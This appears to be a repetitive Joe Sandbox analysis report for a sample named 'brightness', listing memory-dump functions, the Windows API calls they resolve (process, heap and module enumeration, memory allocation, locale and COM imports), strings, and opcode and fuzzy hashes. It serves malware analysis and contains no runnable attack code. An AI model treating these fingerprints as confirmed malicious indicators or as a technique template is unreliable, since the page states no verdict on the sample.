Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4210c3dfb18652f6ec0b0b51d6fbd20cd1f444da7e88b25de82dc1dad3c2e2d3
Instruction ID: f124548cb86953ebe42fb1a6f326c7f0884f528b7e330d1f5ec626150b6af2ef
Opcode Fuzzy Hash: 4210c3dfb18652f6ec0b0b51d6fbd20cd1f444da7e88b25de82dc1dad3c2e2d3
Instruction Fuzzy Hash: 00A022ACA003030A8F0F232C00383EB20333FE0B023CAC0E800008A0008F3A8000AC38

Function 027B15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,027B1A03,?,027B2000), ref: 027B15E2

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fb548551c2fdadd22f213b8b1beca4484fc99cd02b61a9b67fe246e72db1588d
Instruction ID: d1e4e78b2f592716d282d36b84e2a189d4abff01600864c31e6e6dcfb5fd2c57
Opcode Fuzzy Hash: fb548551c2fdadd22f213b8b1beca4484fc99cd02b61a9b67fe246e72db1588d
Instruction Fuzzy Hash: 65F037F4B413408FDB96CF7999943427AD2EB89348F60C679E709DB6C8EB71A4018B11

Function 027B1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,027B2000), ref: 027B16A4

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6a83d2f535ad255c770d584a2250a8ee72c096628af8242fa3b4957a2000a4bd
Instruction ID: bd9b38015240adeeefd4ea77138002fd2aa1960871bfde4ed2d5bc22c77c5d45
Opcode Fuzzy Hash: 6a83d2f535ad255c770d584a2250a8ee72c096628af8242fa3b4957a2000a4bd
Instruction Fuzzy Hash: EAF024B6F007946BD7128F5AAC84783BBA8FF00314F040539FA0C97384CB70A8108B94

Function 027B16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,027B1FE4), ref: 027B1704

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2cc67f8cbef03cbb814f4752439739bdd64256798e05cbc2089d9704fb5a7b0e
Instruction ID: e56b5c5b6e5367d1e571c0479d99e1106df26b898ff6c0373d43e20453bcaf8a
Opcode Fuzzy Hash: 2cc67f8cbef03cbb814f4752439739bdd64256798e05cbc2089d9704fb5a7b0e
Instruction Fuzzy Hash: 50E0CD757003016FD7115B7D5D547937BDCEF48654F554475F609DB381D660E8108B60

Non-executed Functions

Function 027CA954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,027CABDB,?,?,027CAC6D,00000000,027CAD49), ref: 027CA968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 027CA980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 027CA992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 027CA9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 027CA9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 027CA9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 027CA9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 027CA9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 027CA9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 027CAA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 027CAA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 027CAA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 027CAA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 027CAA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 027CAA6A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 027CAA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 027CAA8E

Strings

Module32NextW, xrefs: 027CAA86
Process32First, xrefs: 027CA9E4
Process32NextW, xrefs: 027CAA1A
Heap32ListNext, xrefs: 027CA99C
Process32FirstW, xrefs: 027CAA08
Heap32ListFirst, xrefs: 027CA98A
Thread32Next, xrefs: 027CAA3E
Toolhelp32ReadProcessMemory, xrefs: 027CA9D2
Module32First, xrefs: 027CAA50
Heap32First, xrefs: 027CA9AE
CreateToolhelp32Snapshot, xrefs: 027CA978
Module32FirstW, xrefs: 027CAA74
kernel32.dll, xrefs: 027CA963
Thread32First, xrefs: 027CAA2C
Process32Next, xrefs: 027CA9F6
Heap32Next, xrefs: 027CA9C0
Module32Next, xrefs: 027CAA62

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: edc0102ff3d30ec3c1f36f218b6f325070ac8b6819a847ea622b209d23258a2c
Instruction ID: bafa3c0f54f42cfd3db23dcf2686a24690a23a6d5c3268466d93486ddf3da33b
Opcode Fuzzy Hash: edc0102ff3d30ec3c1f36f218b6f325070ac8b6819a847ea622b209d23258a2c
Instruction Fuzzy Hash: BD31A0F4E807349FEB42DFB4D8E9B963BADEB05705710096DA901CF288D67498508F95

Function 027B58B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,027B7330,027B0000,027DE790), ref: 027B58D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 027B58E8
lstrcpynA.KERNEL32(?,?,?), ref: 027B5918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,027B7330,027B0000,027DE790), ref: 027B597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,027B7330,027B0000,027DE790), ref: 027B59B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,027B7330,027B0000,027DE790), ref: 027B59C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,027B7330,027B0000,027DE790), ref: 027B59D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,027B7330,027B0000,027DE790), ref: 027B59E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,027B7330,027B0000), ref: 027B5A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,027B7330), ref: 027B5A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 027B5A45

Strings

\, xrefs: 027B59F5
GetLongPathNameA, xrefs: 027B58DF
kernel32.dll, xrefs: 027B58CC

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 4d756634a5b4bd55ebc7403eb9c4a9f93553ee924438ba30deb56eadb9d7bfdb
Instruction ID: 15d65cb8b53da5f66461d500d231776cbdb27817dcf71e829600d9932debd78e
Opcode Fuzzy Hash: 4d756634a5b4bd55ebc7403eb9c4a9f93553ee924438ba30deb56eadb9d7bfdb
Instruction Fuzzy Hash: 74416C72E00259AFDB12DBE8CC88BDEB7BEAF09350F8445A5A548E7241E7709B448F54

Function 027B5B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 027B5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 027B5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 027B5BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 027B5BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027B5C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027B5C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027B5C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027B5C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 027B5C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 027B5C97

Strings

Software\Borland\Locales, xrefs: 027B5AA8, 027B5AC6
Software\Borland\Delphi\Locales, xrefs: 027B5AE4

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: b9e58a86988728419bcfdeab2aefddac3eee837e6d715e7ecc035039eb715c39
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: B5315471E4021D6AEB27D6B8DC8AFDF77AE5F04380F8445E19608E6181EB749E848F90

Function 027B7F52 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 027B7F75

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
Instruction ID: edbf046cdb29779be66355c0e61f98b0057e12aab3da59869b25154923526883
Opcode Fuzzy Hash: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
Instruction Fuzzy Hash: 061100B5E00209AF9B45DF99C8849EFF7F9EFC8304B14C569A504EB254E6319A01CBA0

Function 027BA744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027BA762

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: 92baab37c7df6dd578e27dfbfdd8ad0c6066c36340c2ade5784a178149e923af
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: 2FE0927570421417D313A5685CA8BE6725D9F58310F00416AA905C7341EDB09D404AE4

Function 027BB70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,027DD106,00000000,027DD11E), ref: 027BB71A

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 2aad498337ea0ffcba999efd60c958a7346bcb66dfebe431c6f1135047fdfb07
Instruction ID: 64e25915f0d76ceedfa5e14d53c7b6be518d012bfc39b8440a9429b10179735f
Opcode Fuzzy Hash: 2aad498337ea0ffcba999efd60c958a7346bcb66dfebe431c6f1135047fdfb07
Instruction Fuzzy Hash: 59F09D74A453029FD392DF28D544B5677F9FB88A24F008929EA98CA780E73498A48B52

Function 027BA790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,027BBDF2,00000000,027BC00B,?,?,00000000,00000000), ref: 027BA7A3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: 0b81f60aa3012407bbffe4171bc1d6b1b364dbd89aa2c5327486172fe97127dc
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: 0DD05EA630E2602AA322A15A2D94EBB5AFCCFC57A1F10403EF688C6200D2108C0696F1

Function 027B918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 027B9190

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: 35ed9ebf8069a9ca55e3655398944425fadf9c5273a030f88c51d02bf16707e8
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: 37A01180808820028A823B280C032BA3088AC00A20FC80F80A8F8802E0EE2E022080E3

Function 027B20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 027BD214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 027BD21D

Part of subcall function 027BD1E8: GetProcAddress.KERNEL32(00000000), ref: 027BD201

Strings

oleaut32.dll, xrefs: 027BD218
VarDiv, xrefs: 027BD2AF
VarI4FromStr, xrefs: 027BD349
VarBoolFromStr, xrefs: 027BD3B7
VarDateFromStr, xrefs: 027BD38B
VarIdiv, xrefs: 027BD2C5
VarBstrFromCy, xrefs: 027BD3CD
VarAnd, xrefs: 027BD2F1
VarNeg, xrefs: 027BD241
VarMod, xrefs: 027BD2DB
VarSub, xrefs: 027BD283
VarCmp, xrefs: 027BD333
VarBstrFromDate, xrefs: 027BD3E3
VarOr, xrefs: 027BD307
VarR8FromStr, xrefs: 027BD375
VarMul, xrefs: 027BD299
VariantChangeTypeEx, xrefs: 027BD22B
VarXor, xrefs: 027BD31D
VarR4FromStr, xrefs: 027BD35F
VarBstrFromBool, xrefs: 027BD3F9
VarCyFromStr, xrefs: 027BD3A1
VarAdd, xrefs: 027BD26D
VarNot, xrefs: 027BD257

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 017569ddddcbf55487ea83fb3721c385a0def85450551f5042b48f5967ee4038
Instruction ID: 55469d3b6759428fb289301d0905c9258bdfba89acc36e4911db46a57e4ae719
Opcode Fuzzy Hash: 017569ddddcbf55487ea83fb3721c385a0def85450551f5042b48f5967ee4038
Instruction Fuzzy Hash: 3C41E175A8421C5F562F6A6E74046EBBB9EDE8C7103A3843FFC04CB784DD2079524A69

Function 027C6E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 027C6E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 027C6E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 027C6E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 027C6E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 027C6E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 027C6EAF
GetProcAddress.KERNEL32(?,CoSuspendClassObjects), ref: 027C6EBF

Strings

CoInitializeEx, xrefs: 027C6E79
ole32.dll, xrefs: 027C6E59
CoResumeClassObjects, xrefs: 027C6EA9
CoAddRefServerProcess, xrefs: 027C6E89
CoSuspendClassObjects, xrefs: 027C6EB9
CoReleaseServerProcess, xrefs: 027C6E99
CoCreateInstanceEx, xrefs: 027C6E69

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 56b1eb7e975ef5ecac2442502ddefc6eca339ef55e898646a1d9886283d53388
Instruction ID: e444a9cadd11d2cbdbc4f106b0ceb5350027b5e033880400e39441eadb2ef269
Opcode Fuzzy Hash: 56b1eb7e975ef5ecac2442502ddefc6eca339ef55e898646a1d9886283d53388
Instruction Fuzzy Hash: B0F022E1E863126FB3037F709DC59772F6EBE81B08320582EA642A9902DAB5C4144BA5

Function 027B2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 027B28CE

Strings

Unknown, xrefs: 027B278C
, xrefs: 027B2814
Unexpected Memory Leak, xrefs: 027B28C0
The sizes of unexpected leaked medium and large blocks are: , xrefs: 027B2849
String, xrefs: 027B27A1
An unexpected memory leak has occurred. , xrefs: 027B2690
The unexpected small block leaks are:, xrefs: 027B2707
7, xrefs: 027B26A1
bytes: , xrefs: 027B275D

Memory Dump Source

